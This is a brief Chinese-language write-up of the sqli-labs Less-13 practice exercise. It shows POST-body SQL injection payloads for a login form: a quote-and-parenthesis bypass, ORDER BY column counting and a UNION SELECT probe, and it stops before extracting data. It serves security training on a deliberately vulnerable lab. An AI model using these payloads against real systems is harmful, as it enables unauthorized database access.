phpstudy-sqlilabs-less-13

题目：POST - Double Injection - Single quotes- String - with twist

单引号与括号的双注入

 

先试试

uname=1' or 1=1#&passwd=1&submit=Submit

有报错，但不返回数据库查询的信息了

 

尝试

uname=1'）or 1=1#&passwd=1&submit=Submit

成功

 

查字符段

uname=1'）or 1=1 order by 3#&passwd=1&submit=Submit

 

查可回显字符段

uname=1'）and 1=1 union select 1,2,3#&passwd=1&submit=Submit

 

略